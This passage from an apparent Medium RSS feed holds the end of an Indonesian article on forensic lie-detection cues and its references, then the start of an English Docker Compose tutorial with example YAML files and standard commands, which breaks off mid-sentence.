menampilkan respons ekstrem berupa “freeze response”. Dalam wawancara video, ia duduk sangat kaku hampir tanpa gerakan selama waktu yang panjang, bagaikan patung (the statue effect). Ini menggambarkan strategi pertahanan primitif: membeku untuk meminimalkan kebocoran informasi.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FHkRjIq8Cp2A%3Ffeature%3Doembed%26start%3D638&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DHkRjIq8Cp2A&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FHkRjIq8Cp2A%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/6f03b6ded95a95911a4ca8f134644788/href">https://medium.com/media/6f03b6ded95a95911a4ca8f134644788/href</a></iframe><p>Kontak mata yang dipertahankan tanpa banyak kedipan — tatapan yang terlalu intens, bukan tatapan normal — memberi sinyal hiperwaspada dan upaya mengendalikan situasi secara berlebihan. Jika pola ini muncul sepanjang wawancara, terutama pada pertanyaan-pertanyaan inti, hal itu merupakan indikator bahwa subjek berada dalam kondisi ancaman internal yang tinggi.</p><h3>9. Teknologi dalam Deteksi Kebohongan: Potensi dan Batasan</h3><p>Perkembangan teknologi menghadirkan alat bantu yang mulai digunakan dalam konteks forensik:</p><ul><li><strong>Eye-tracking</strong>: mampu memantau fiksasi pandangan, pola kedipan, dan dilatasi pupil sebagai indikator beban kognitif dan emosi dengan presisi tinggi, melampaui kemampuan pengamatan mata telanjang.</li><li><strong>Analisis wajah berbasis AI</strong>: menggunakan algoritma yang memetakan ratusan titik di wajah untuk mengidentifikasi Action Units FACS dan mikroekspresi secara otomatis, memberikan umpan balik real-time tentang perubahan emosional yang sangat halus.</li><li><strong>Analisis linguistik terotomatisasi</strong>: perangkat lunak yang menganalisis transkrip wawancara untuk menghitung pola penggunaan kata, kompleksitas kalimat, kata ganti, dan indikator verbal lain yang berkaitan dengan kebohongan.</li></ul><p>Meski menjanjikan, semua teknologi ini menghadapi keterbatasan penting: sensitivitas terhadap konteks, variasi individual, budaya, dan kondisi psikologis. Tanpa pemahaman mendalam tentang psikologi manusia dan tanpa wawancara yang dirancang baik, output teknologi dapat dengan mudah disalahartikan. Oleh karena itu, peran keahlian manusia — penyidik dan psikolog forensik — tetap sentral; teknologi hanyalah alat bantu, bukan pengganti penilaian profesional.</p><h3>10. Penutup: Deception Detection sebagai Probabilitas, Bukan Kepastian</h3><p>Deteksi kebohongan dalam psikologi forensik adalah permainan probabilitas, bukan kepastian absolut. Tidak ada satu gerak mata, satu ekspresi wajah, atau satu kalimat yang dapat membuktikan seseorang berbohong. Yang ada adalah pola: klaster perilaku non-verbal, ekspresi wajah yang tidak sinkron dengan ucapan, struktur narasi yang tidak memenuhi ciri pengalaman nyata, serta ketidaksesuaian antara pernyataan dan bukti fisik.</p><p>Seorang penyidik atau psikolog kriminal yang profesional harus bertindak sebagai pengumpul data objektif. Setiap hipotesis tentang kebohongan perlu divalidasi melalui beberapa saluran sekaligus — bahasa tubuh, wajah, kata-kata — dan diuji kembali terhadap bukti nyata. Pendekatan yang memaksa, intimidatif, atau manipulatif bukan hanya melanggar etika, tetapi juga melemahkan kualitas informasi, meningkatkan risiko pengakuan palsu, dan merusak kemampuan membedakan stres alami dari stres karena menipu.</p><p>Masa depan investigasi kriminal berpijak pada <strong>Strategic Investigative Interviewing</strong>: wawancara yang dirancang cerdas, berbasis empati taktis, memakai teknik kognitif seperti reverse order dan pertanyaan tak terduga, memanfaatkan teknologi secara hati-hati, dan yang terpenting, dilandasi pemahaman mendalam tentang cara kerja otak, emosi, dan komunikasi manusia. Dalam kerangka inilah deteksi kebohongan menjadi bukan sekadar intuisi, melainkan disiplin ilmiah yang sistematis dan dapat dipertanggungjawabkan.</p><h3>Referensi :</h3><ol><li>Vrij, A., Fisher, R., Mann, S., &amp; Leal, S. (2008). A cognitive load approach to lie detection. <em>Journal of Investigative Psychology and Offender Profiling</em>, 5(1–2), 39–43</li><li>Blandón-Gitlin, I., Pezdek, K., Lindsay, D. S., &amp; Hagen, L. (2009). Criteria-Based Content Analysis of true and suggested accounts of events. <em>Applied Cognitive Psychology</em>, 23(7), 901–917</li><li>Walczyk, J. J., Griffith-Ross, D. A., Walczyk, R. R., &amp; Graves, N. (2014). Cognitive-load approaches to detect deception: Searching for cognitive mechanisms. <em>Frontiers in Psychology</em>, 5, 555</li><li>Van Bockstaele, B., Verschuere, B., Moens, T., Suchotzki, K., Debey, E., &amp; Spruyt, A. (2012). Learning to lie: Effects of practice on the cognitive cost of lying. <em>Frontiers in Psychology</em>, 3, 526</li><li>Walczyk, J. J., Sewell, N., &amp; DiBenedetto, M. B. (2018). A review of approaches to detecting malingering in forensic contexts and promising cognitive load-inducing lie detection techniques. <em>Frontiers in Psychiatry</em>, 9, 700</li><li>Verschuere, B., &amp; Shalvi, S. (2023). Cognitive load and deception detection performance. <em>Cognitive Science</em>, 47(7), e13321</li><li>Debey, E., De Houwer, J., &amp; Verschuere, B. (2014). Lying and executive control: An experimental investigation using ego depletion and goal neglect. <em>Acta Psychologica</em>, 140(2), 133–141</li><li>Clarke, C., &amp; Milne, R. (2001). <em>National evaluation of the PEACE investigative interviewing course</em>. Home Office</li><li>Bull, R., &amp; Soukara, S. (2010). Four studies of what really happens in police interviews. In G. D. Lassiter &amp; C. Meissner (Eds.), <em>Police interrogations and false confessions: Current research, practice, and policy recommendations</em> (pp. 81–95). American Psychological Association</li><li>Meissner, C. A., Redlich, A. D., Michael, S. W., Evans, J. R., Camilletti, C. R., Bhatt, S., &amp; Brandon, S. (2014). Accusatorial and information-gathering interrogation methods and their effects on true and false confessions: A meta-analytic review. <em>Journal of Experimental Criminology</em>, 10(4), 459–486</li><li>Ekman, P., &amp; Friesen, W. V. (1978). <em>Facial Action Coding System: A technique for the measurement of facial movement</em>. Consulting Psychologists Press</li><li>Ekman, P. (2009). Telling lies: Clues to deceit in the marketplace, politics, and marriage (revised edition). W. W. Norton &amp; Company</li><li>Ekman, P., &amp; O’Sullivan, M. (1991). Who can catch a liar? <em>American Psychologist</em>, 46(9), 913–920</li><li>Porter, S., &amp; ten Brinke, L. (2008). Reading between the lies: Identifying concealed and falsified emotions in universal facial expressions. <em>Psychological Science</em>, 19(5), 508–514</li><li>Matsumoto, D., &amp; Hwang, H. C. (2018). Microexpressions differentiate truths from lies about future malicious intent. <em>Frontiers in Psychology</em>, 9, 2545</li><li>Zloteanu, M., Krumhuber, E. G., &amp; Richardson, D. C. (2018). Detecting genuine and deliberate displays of surprise in static and dynamic faces. <em>Frontiers in Psychology</em>, 9, 1672</li><li>Goh, J. X., &amp; Hall, J. A. (2015). Nonverbal and verbal expressions of men’s sexism in mixed-gender interactions. <em>Journal of Nonverbal Behavior</em>, 39(4), 333–353</li><li>Amado, B. G., Arce, R., Fariña, F., &amp; Vilariño, M. (2016). Criteria-Based Content Analysis (CBCA) reality criteria in adults: A meta-analytic review. <em>International Journal of Clinical and Health Psychology</em>, 16(2), 201–210</li><li>Oberlader, V. A., Naefgen, C., Koppehele-Gossel, J., Quinten, L., Banse, R., &amp; Schmidt, A. F. (2016). Validity of content-based techniques to distinguish true and fabricated statements: A meta-analysis. <em>Law and Human Behavior</em>, 40(4), 440–457</li><li>Volbert, R., &amp; Steller, M. (2014). Is this testimony truthful, fabricated, or based on false memory? Credibility assessment 25 years after Steller and Köhnken (1989). <em>European Psychologist</em>, 19(3), 207–220</li><li>Köhnken, G. (2004). Statement Validity Analysis and the ‘detection of the truth’. In P. A. Granhag &amp; L. A. Strömwall (Eds.), <em>The detection of deception in forensic contexts</em> (pp. 41–63). Cambridge University Press</li><li>Nahari, G., Vrij, A., &amp; Fisher, R. P. (2014). Exploiting liars’ verbal strategies by examining the verifiability of details. <em>Legal and Criminological Psychology</em>, 19(2), 227–239</li><li>Hartwig, M., Granhag, P. A., &amp; Luke, T. (2014). Strategic use of evidence during investigative interviews: The state of the science. In D. C. Raskin, C. R. Honts, &amp; J. C. Kircher (Eds.), <em>Credibility assessment: Scientific research and applications</em> (pp. 1–36). Academic Press</li><li>Granhag, P. A., Rangmar, J., &amp; Strömwall, L. A. (2015). Small cells of suspects: Eliciting cues to deception by strategic interviewing. <em>Journal of Investigative Psychology and Offender Profiling</em>, 12(2), 127–141</li><li>Clemens, F., Granhag, P. A., &amp; Strömwall, L. A. (2011). Eliciting cues to false intent: A new application of strategic interviewing. <em>Law and Human Behavior</em>, 35(6), 512–522</li><li>Granhag, P. A., Clemens, F., &amp; Strömwall, L. A. (2009). The usual and the unusual suspects: Level of suspicion and counter-interrogation tactics. <em>Journal of Investigative Psychology and Offender Profiling</em>, 6(2), 129–137</li><li>Vrij, A., Granhag, P. A., &amp; Porter, S. (2010). Pitfalls and opportunities in nonverbal and verbal lie detection. <em>Psychological Science in the Public Interest</em>, 11(3), 89–121</li><li>DePaulo, B. M., Lindsay, J. J., Malone, B. E., Muhlenbruck, L., Charlton, K., &amp; Cooper, H. (2003). Cues to deception. <em>Psychological Bulletin</em>, 129(1), 74–118</li><li>Sporer, S. L., &amp; Schwandt, B. (2006). Paraverbal indicators of deception: A meta-analytic synthesis. <em>Applied Cognitive Psychology</em>, 20(4), 421–446</li><li>Navarro, J., &amp; Karlins, M. (2008). <em>What every BODY is saying: An ex-FBI agent’s guide to speed-reading people</em>. HarperCollins Publishers</li><li>Christ, S. E., Van Essen, D. C., Watson, J. M., Brubaker, L. E., &amp; McDermott, K. B. (2009). The contributions of prefrontal cortex and executive control to deception: Evidence from activation likelihood estimate meta-analyses. <em>Cerebral Cortex</em>, 19(7), 1557–1566</li><li>Gombos, V. A. (2006). The cognition of deception: The role of executive processes in producing lies. <em>Genetic, Social, and General Psychology Monographs</em>, 132(3), 197–214</li><li>Sip, K. E., Roepstorff, A., McGregor, W., &amp; Frith, C. D. (2008). Detecting deception: The scope and limits. <em>Trends in Cognitive Sciences</em>, 12(2), 48–53</li><li>Bartlett, M. S., Littlewort, G. C., Frank, M. G., &amp; Lee, K. (2014). Automatic decoding of facial movements reveals deceptive pain expressions. <em>Current Biology</em>, 24(7), 738–743</li><li>Pérez-Rosas, V., &amp; Mihalcea, R. (2015). Experiments in open domain deception detection. In <em>Proceedings of the 2015 Conference on Empirical Methods in Natural Language Processing</em> (pp. 1120–1125)</li><li>Ding, X. P., Gao, X., Fu, G., &amp; Lee, K. (2013). Neural correlates of spontaneous deception: A functional near-infrared spectroscopy (fNIRS) study. <em>Neuropsychologia</em>, 51(4), 704–712</li><li>Vrij, A. (2008). <em>Detecting lies and deceit: Pitfalls and opportunities</em> (2nd ed.). Wiley</li><li>Ekman, P. (2003). <em>Emotions revealed: Recognizing faces and feelings to improve communication and emotional life</em>. Times Books</li><li>Inbau, F. E., Reid, J. E., Buckley, J. P., &amp; Jayne, B. C. (2013). <em>Criminal interrogation and confessions</em> (5th ed.). Jones &amp; Bartlett Learning</li><li>Gudjonsson, G. H. (2003). <em>The psychology of interrogations and confessions: A handbook</em>. Wiley</li><li>Granhag, P. A., &amp; Strömwall, L. A. (Eds.). (2004). <em>The detection of deception in forensic contexts</em>. Cambridge University Press</li><li>Paul Ekman Group. (2024). Micro expressions. <a href="https://www.paulekman.com/resources/micro-expressions/">https://www.paulekman.com/resources/micro-expressions/</a></li><li>Paul Ekman Group. (2024). Deception detection: How to tell if someone is lying. <a href="https://www.paulekman.com/deception/deception-detection/">https://www.paulekman.com/deception/deception-detection/</a></li><li>Wikipedia. (2021). PEACE method of interrogation. <a href="https://en.wikipedia.org/wiki/PEACE_method_of_interrogation">https://en.wikipedia.org/wiki/PEACE_method_of_interrogation</a></li><li>Wikipedia. (2005). Facial Action Coding System. <a href="https://en.wikipedia.org/wiki/Facial_Action_Coding_System">https://en.wikipedia.org/wiki/Facial_Action_Coding_System</a></li><li>CaseIQ. (n.d.). Investigative interviewing techniques: The PEACE model. <a href="https://www.caseiq.com/resources/investigative-interviewing-techniques-the-peace-model">https://www.caseiq.com/resources/investigative-interviewing-techniques-the-peace-model</a></li><li>Emotiva. (n.d.). Facial coding: FACS — Ekman. <a href="https://emotiva.it/en/facial-coding-facs-ekman/">https://emotiva.it/en/facial-coding-facs-ekman/</a></li><li>Matsumoto, D., Hwang, H. S., Skinner, L., &amp; Frank, M. (2011). Evaluating truthfulness and detecting deception. <em>FBI Law Enforcement Bulletin</em>, 80(6), 1–8</li><li>Porter, S., ten Brinke, L., &amp; Wallace, B. (2012). Secrets and lies: Involuntary leakage in deceptive facial expressions as a function of emotional intensity. <em>Journal of Nonverbal Behavior</em>, 36(1), 23–37</li><li>Wright, D. S., &amp; Wheatcroft, J. M. (2017). Police officers’ beliefs about, and use of, cues to deception. <em>Journal of Investigative Psychology and Offender Profiling</em>, 14(3), 307–319</li></ol><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7c28c1fd7fd3" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Mastering Docker Compose: A Practical Guide to Multi-Container Applications]]></title>
            <link>https://medium.com/@adriansyah1230/mastering-docker-compose-a-practical-guide-to-multi-container-applications-c76811010131?source=rss-bde419e52529------2</link>
            <guid isPermaLink="false">https://medium.com/p/c76811010131</guid>
            <category><![CDATA[devops]]></category>
            <category><![CDATA[docker-compose]]></category>
            <category><![CDATA[devsecops]]></category>
            <dc:creator><![CDATA[Adrian Syah Abidin]]></dc:creator>
            <pubDate>Sun, 08 Feb 2026 15:59:51 GMT</pubDate>
            <atom:updated>2026-02-08T16:17:22.377Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Bb1KDROhOpSXWpuGijjgQA.png" /></figure><h3>Docker Compose: From Single Containers to Real-World Multi‑Service Apps</h3><p><strong>Written By </strong>: Adrian Syah Abidin</p><p>Running a single container with docker run is straightforward. The challenge comes when an application is no longer a single service, but a system: a frontend, a backend, a database, maybe a cache and a message broker. Starting all of those manually, wiring networks and volumes, and keeping them consistent across machines becomes painful very quickly.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FDM65_JyGxCo%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DDM65_JyGxCo&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FDM65_JyGxCo%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/c96ba30fb145b5038315d07779a47f3e/href">https://medium.com/media/c96ba30fb145b5038315d07779a47f3e/href</a></iframe><p>Docker Compose exists to solve exactly that.</p><p>Compose lets you define and run multi‑container Docker applications using a single YAML file. With one command, you can spin up or tear down an entire application stack in a reproducible way.</p><p>This article walks through:</p><ul><li>What Docker Compose is and why it matters</li><li>How to read and write docker-compose.yml / compose.yaml files</li><li>The core Docker Compose commands every DevOps engineer should know</li><li>Real‑world use cases and examples drawn from production‑style scenarios</li></ul><p>At the end, there’s a short note about what’s coming next: Docker networking, security, and orchestration.</p><h3>What Is Docker Compose?</h3><p>Docker Compose is a tool for defining and running multi‑container Docker applications. You describe your app in a YAML file (commonly docker-compose.yml or compose.yaml), including all the services, their images, configuration, networks, and volumes. With a single command, Compose will:</p><ul><li>Build images when needed</li><li>Create containers for each service</li><li>Set up dedicated networks</li><li>Mount volumes</li><li>Start everything in the right order as best it can</li></ul><p>In other words, Compose is a <strong>runner and orchestrator for multi‑container setups on a single host</strong>. For learning and small‑to‑medium deployments, it’s often all you need; for larger clusters, it becomes a stepping stone to full orchestration tools like Docker Swarm or Kubernetes.</p><h3>Why Use Docker Compose?</h3><p>Docker Compose is a favorite tool for developers because it simplifies complex tasks. Here are the key advantages:</p><ul><li><strong>Manage multiple containers on one host easily</strong><br> Instead of running a dozen docker run commands with long argument lists, you keep everything in a single YAML file and manage the lifecycle with simple commands like docker compose up and docker compose down.</li><li><strong>Reproducible environments</strong><br> The Compose file lives next to your code and can be version‑controlled. Anyone can clone the repo and bring the full stack up with one command, dramatically reducing “it works on my machine”</li><li><strong>Selective rebuilds and restarts</strong><br> When you change only one service, Compose will only rebuild or recreate that service’s container. Others remain untouched, which speeds up your dev loop.</li><li><strong>Integrated volumes and persistent data</strong><br> Volumes and bind mounts can be declared in the same file. Compose will create and wire them up automatically, keeping database data or uploads persistent across container restarts.</li><li><strong>Service isolation and security</strong><br> Each service runs in its own container, typically on a dedicated bridge network. This keeps boundaries clear and limits the blast radius when something goes wrong</li><li><strong>Portable across environments</strong><br> Combined with environment variables, the same Compose file can be used for development, CI, staging, and even some production scenarios with only small overrides.</li></ul><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FQw9zlE3t8Ko%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DQw9zlE3t8Ko&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FQw9zlE3t8Ko%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/4399d2fd1a115babef959f163f536769/href">https://medium.com/media/4399d2fd1a115babef959f163f536769/href</a></iframe><h3>The Structure of a docker-compose.yml File</h3><p>At the heart of Docker Compose is the YAML configuration file. The general guidelines describe a typical structure, which looks roughly like this :</p><pre>version: &quot;3.8&quot;  # Compose file format version</pre><pre>services:<br>  web:<br>    build: ./web<br>    image: myapp-web<br>    ports:<br>      - &quot;8080:80&quot;<br>    environment:<br>      APP_ENV: development<br>    depends_on:<br>      - app<br>      - db<br>    networks:<br>      - mynetwork</pre><pre>  app:<br>    build: .<br>    image: myapp-api<br>    environment:<br>      DB_HOST: db<br>    networks:<br>      - mynetwork</pre><pre>  db:<br>    image: mysql:8.0<br>    restart: always<br>    environment:<br>      MYSQL_DATABASE: example<br>      MYSQL_ROOT_PASSWORD: password<br>    volumes:<br>      - dbdata:/var/lib/mysql<br>    networks:<br>      - mynetwork</pre><pre>volumes:<br>  dbdata:</pre><pre>networks:<br>  mynetwork:<br>    driver: bridge</pre><p>Let’s break down the core elements and relate them to what you already have in the material.</p><h3>version</h3><p>The version key indicates the Compose file format version being used, such as &quot;3.8&quot;. Each version unlocks a specific set of features; older versions remain for backward compatibility. The documentation maintains a matrix of which fields are supported in which versions.</p><blockquote><em>Today, the Compose </em><strong><em>specification</em></strong><em> has largely replaced the old numbered format, and in newer setups you’ll often see files without a top‑level </em><em>version key, simply named </em><em>compose.yaml. The concepts below remain the same.</em></blockquote><h3>services</h3><p>Under services, you define each part of your application: web frontends, backends, databases, caches, queues, etc.</p><p>For example, in a web app:</p><ul><li>frontend – React/Vue/Angular app served by Nginx</li><li>backend – Node/Java/Python API</li><li>db – Postgres, MySQL, MongoDB, etc.</li></ul><p>Each service has its own configuration section.</p><h3>build</h3><p>The build key tells Compose where the Dockerfile is located so it can build an image for the service if one isn’t available locally.</p><p>Examples:</p><pre>services:<br>  app:<br>    build: .<br>    # Dockerfile in the same folder as compose file</pre><pre>  worker:<br>    build:<br>      context: ./worker<br>      dockerfile: Dockerfile.worker</pre><p>If image for a service doesn’t exist locally, Compose looks at the build settings and builds the image before starting containers.</p><h3>image</h3><p>The image key specifies which image to use for a service.</p><ul><li>If you specify only image, Compose will:</li><li>Look for it locally</li><li>If not found, pull it from a registry (e.g., Docker Hub)</li><li>If you specify both build and image, Compose will build the image and tag it with the given name.</li></ul><p>Example:</p><pre>services:<br>  db:<br>    image: mysql:8.0</pre><h3>environment</h3><p>The environment key injects environment variables into the container, similar to a .env file.[<a href="https://ppl-ai-file-upload.s3.amazonaws.com/web/direct-files/attachments/1616460/632d843e-aa67-499b-9330-c8a2546ad8d0/Sesi-8-Networking-Security-Orchestration-of-Docker-1.pdf">ppl-ai-file-upload.s3.amazonaws</a>]​[<a href="https://github.com/docker/getting-started/blob/master/docs/tutorial/using-docker-compose/index.md">github</a>]​</p><pre>services:<br>  db:<br>    image: mysql:8.0<br>    environment:<br>      MYSQL_DATABASE: example<br>      MYSQL_ROOT_PASSWORD: password</pre><p>You can also load from an .env file or use key‑only entries that pull from the host environment.</p><h3>ports</h3><p>The ports key defines port mappings from the container to the host.</p><pre>ports:<br>  - &quot;1234:5432&quot;</pre><p>This maps <strong>container port 5432</strong> (for example, a Postgres or MySQL port) to <strong>host port 1234</strong>. When you access localhost:1234 on the host, traffic is forwarded to 5432 inside the container.</p><h3>volumes</h3><p>Volumes in Compose are used to:</p><ul><li>Persist data outside containers (e.g., databases)</li><li>Synchronize code or assets from your machine into the container</li></ul><p>Example (code sync):</p><pre>services:<br>  web:<br>    volumes:<br>      - &quot;./html:/var/www/html&quot;</pre><p>Whenever you change files in the ./html directory on your host,those changes appear inside the container at /var/www/html.</p><p>Example (named volume for data):</p><pre>services:<br>  db:<br>    volumes:<br>      - dbdata:/var/lib/mysql</pre><pre>volumes:<br>  dbdata:</pre><h3>links (legacy) and service discovery</h3><p>The original material mentions links, which explicitly connects one service to another and creates environment variables for hostnames. Historically:</p><pre>services:<br>  backend:<br>    links:<br>      - db</pre><p>This would:</p><ul><li>Allow the backend to resolve db as a hostname</li><li>Inject some connection‑related env vars</li></ul><p>However, <strong>links are now considered legacy</strong>. Modern Compose relies on <strong>internal DNS-based service discovery</strong>: when services share a network, they can reach each other by service name automatically (for example, the backend can connect to db:5432 without links).</p><p>For new projects, prefer networks and environment variables over links.</p><h3>depends_on</h3><p>The depends_on key defines dependencies between services:</p><pre>services:<br>  backend:<br>    depends_on:<br>      - db</pre><p>This tells Compose to <strong>start </strong><strong>db before </strong><strong>backend</strong>. It does not guarantee the database is fully “ready,” only that the container has been started first. For true readiness logic, you still need healthchecks or retry logic in your application, or to use Compose’s healthcheck conditions in newer specs.</p><p>Compose’s startup‑order behavior is documented in Docker’s reference materials and also highlighted in your slides.</p><h3>networks</h3><p>Every container is isolated by default; networks allow them to talk to each other. In most Compose setups, a <strong>bridge network</strong> is used:</p><pre>networks:<br>  mynetwork:<br>    driver: bridge</pre><p>Then each service joins that network:</p><pre>services:<br>  web:<br>    networks:<br>      - mynetwork<br>  db:<br>    networks:<br>      - mynetwork</pre><p>Now web can reach db using the hostname db. This is cleaner and more flexible than manually wiring IPs or using links.</p><h3>Core Docker Compose Commands (with Examples)</h3><p>You can interact with Docker Compose using either the <strong>legacy</strong> command (docker-compose) or the <strong>modern v2 syntax</strong> (docker compose). On recent Docker installations, docker compose (with a space) is the recommended form.</p><p>Both are shown below; functionally they’re similar, but going forward you should favor docker compose.</p><h3>Build images: docker compose build</h3><p>When your Compose file uses build, run:</p><pre># Modern syntax<br>docker compose build</pre><pre># Legacy syntax<br>docker-compose build</pre><p>This builds or rebuilds images for the services defined with build in the Compose file.</p><h3>Start the application: docker compose up</h3><pre># Start in attached mode (logs in the current terminal)<br>docker compose up</pre><pre># Start in detached mode (run in background)<br>docker compose up -d</pre><p>The Session 8 material uses:</p><pre>docker-compose up -d</pre><p>to start containers in detached mode.</p><p>What up does:</p><ul><li>Builds images (if needed)</li><li>Creates networks and volumes (if they don’t exist)</li><li>Starts containers for all services defined in the file</li></ul><p>You can also target a specific service:</p><pre>docker compose up -d web</pre><h3>Stop and remove containers: docker compose down</h3><p>To stop everything and clean up containers, networks, and (optionally) volumes:</p><pre>docker compose down</pre><p>This will:</p><ul><li>Stop running containers</li><li>Remove containers created by up</li><li>Remove default networks</li><li>Keep named volumes by default, unless you add --volumes</li></ul><h3>See what’s running: docker compose ps</h3><p>List containers managed by the current Compose project:</p><pre>docker compose ps</pre><p>You’ll see each service, its container name, status, and exposed ports.</p><h3>View logs: docker compose logs</h3><pre># Show logs for all services<br>docker compose logs</pre><pre># Follow logs<br>docker compose logs -f</pre><pre># Logs for a single service<br>docker compose logs -f web</pre><p>This aggregates logs across services; extremely useful for debugging interplay between services.</p><h3>Start/stop without recreation: start, stop, restart</h3><p>Sometimes you want to stop or start containers without tearing them down entirely:</p><pre>docker compose stop        # Stop services<br>docker compose start       # Start previously stopped services<br>docker compose restart     # Restart services</pre><p>This keeps volumes and networks intact so state is preserved.</p><h3>Run one‑off commands: docker compose run and exec</h3><p>To run a one‑off task in a service (like a management command or migration):</p><pre>docker compose run --rm app python manage.py migrate</pre><p>To run a command inside a running container:</p><pre>docker compose exec app sh        # interactive shell<br>docker compose exec db mysql -u root -p</pre><p>These commands are especially common in development and CI/CD workflows.</p><h3>Validate configuration: docker compose config</h3><p>Before running a complex Compose setup, validate and view the fully‑resolved configuration:</p><pre>docker compose config</pre><p>This merges multiple -f files, resolves environment variables, and prints the result. It’s helpful to sanity‑check what Docker will actually run.</p><h3>Real‑Life Use Cases and Examples</h3><p>Docker Compose isn’t just a learning tool. It’s used in real projects across web development, data platforms, scientific research, and enterprise software.</p><p>Below are practical scenarios, aligning with both your slides and external references.</p><h3>1. Full‑Stack Web Application (Frontend + Backend + Database)</h3><p>A classic Compose use case is a full‑stack web app with:</p><ul><li>A frontend (e.g., React served by Nginx)</li><li>A backend API (e.g., Node, Python, Java)</li><li>A database (e.g., MySQL, Postgres)</li></ul><p>To illustrate, a simple example might look like this:</p><pre>version: &quot;3.7&quot;</pre><pre>services:<br>  web:<br>    image: nginx:latest<br>    ports:<br>      - &quot;8080:80&quot;<br>    volumes:<br>      - ./web:/usr/share/nginx/html<br>    networks:<br>      - mynetwork</pre><pre>  app:<br>    build: .<br>    restart: always</pre><pre>  db:<br>    image: mysql:5.7<br>    environment:<br>      MYSQL_ROOT_PASSWORD: example<br>    volumes:<br>      - dbdata:/var/lib/mysql<br>    networks:<br>      - mynetwork</pre><pre>volumes:<br>  dbdata:</pre><pre>networks:<br>  mynetwork:<br>    driver: bridge</pre><p>Benefits in this setup:</p><ul><li><strong>Local development parity</strong> — Developers can spin up a complete stack that mirrors staging or production with one command.</li><li><strong>Clear isolation</strong> — Each service has well‑defined boundaries and its own dependencies.</li><li><strong>Easy onboarding</strong> — New team members just need Docker and the repo.</li></ul><p>Docker’s official “Getting Started” guide uses a very similar pattern for a TODO application with Node.js and MySQL managed entirely by Compose.</p><h3>2. Microservices Architecture (Multiple APIs + Shared Infrastructure)</h3><p>As systems grow, monoliths often split into microservices. Each service can be containerized, and Docker Compose provides a convenient orchestration layer on a single host or in local development.</p><p>For example, a microservices system might include:</p><ul><li>User service</li><li>Product service</li><li>Cart or order service</li><li>API gateway</li><li>Single or multiple databases</li><li>Support services (Redis, message queues, config services, etc.)</li></ul><p>Compose can orchestrate all of these:</p><pre>version: &quot;3.8&quot;</pre><pre>services:<br>  api-gateway:<br>    build: ./gateway<br>    depends_on:<br>      - users<br>      - products<br>      - cart<br>    ports:<br>      - &quot;8080:8080&quot;<br>    networks:<br>      - micro_net</pre><pre>  users:<br>    build: ./services/users<br>    environment:<br>      DB_HOST: main-db<br>    networks:<br>      - micro_net</pre><pre>  products:<br>    build: ./services/products<br>    environment:<br>      DB_HOST: main-db<br>    networks:<br>      - micro_net</pre><pre>  cart:<br>    build: ./services/cart<br>    environment:<br>      DB_HOST: main-db<br>    networks:<br>      - micro_net</pre><pre>  main-db:<br>    image: postgres:16<br>    environment:<br>      POSTGRES_PASSWORD: secret<br>    volumes:<br>      - pgdata:/var/lib/postgresql/data<br>    networks:<br>      - micro_net</pre><pre>volumes:<br>  pgdata:</pre><pre>networks:<br>  micro_net:<br>    driver: bridge</pre><p>Real‑world patterns highlighted in blogs and tutorials include:</p><ul><li><strong>Isolated development environments</strong> — Each developer gets a full microservices environment locally without complex manual setup.</li><li><strong>Integrated testing</strong> — CI can spin up the entire stack with Compose for integration tests.</li><li><strong>Scaling specific services</strong> — For load testing or local experiments, docker compose up --scale users=3 can simulate multiple instances of a service behind the same gateway.</li></ul><p>Compose doesn’t provide full‑cluster orchestration like Kubernetes, but for local development and small‑scale deployments, it is often a sweet spot.</p><h3>3. Scientific and Data Platforms (Multi‑Tool Pipelines)</h3><p>In scientific computing and data analysis, Compose is used to glue together sets of tools and services into reproducible pipelines. A published example is an integrated <strong>drug target screening platform</strong> deployed via Docker Compose, consisting of five web applications that need to work together.</p><p>In that setup, Compose:</p><ul><li>Instantiates multiple independent tools (each in its own image)</li><li>Configures them to talk to each other through shared networks</li><li>Provides a single setup routine instead of manual installation and configuration of every component</li></ul><p>Similarly, bioinformatics workflows like BGDMdocker combine command‑line tools, databases, and visualization services in a single Compose‑managed environment.</p><p>Key lessons from these use cases:</p><ul><li><strong>Reproducibility</strong> — Research workflows can be shared as repos with Compose files, ensuring other labs or teams can reproduce the exact same environment.</li><li><strong>Complex integration, simple deployment</strong> — Even when the tools are diverse and complex, Compose hides that behind a single “bring‑up” command.</li></ul><h3>4. Content Management Stacks (e.g., WordPress + Database)</h3><p>A very common real‑life example is deploying content management systems like WordPress with Docker Compose. In such setups, Compose defines:</p><ul><li>wordpress service – PHP + Apache</li><li>db service – MySQL or MariaDB</li><li>Optional nginx reverse proxy, phpmyadmin, caching services, etc.</li></ul><p>Benefits include:</p><ul><li>Easy local or staging environments for content editors and developers</li><li>Simple teardown and recreation when experimenting with themes and plugins</li><li>Clear separation between application code, database, and auxiliary tooling</li></ul><p>This pattern generalizes to many systems where a web application must be paired with a database and possibly a reverse proxy.</p><h3>5. Enterprise Tooling and Developer Toolkits</h3><p>Some enterprise platforms wrap Docker Compose under their own shell scripts to manage complex development environments. For example, IBM’s containerized developer toolkits expose a 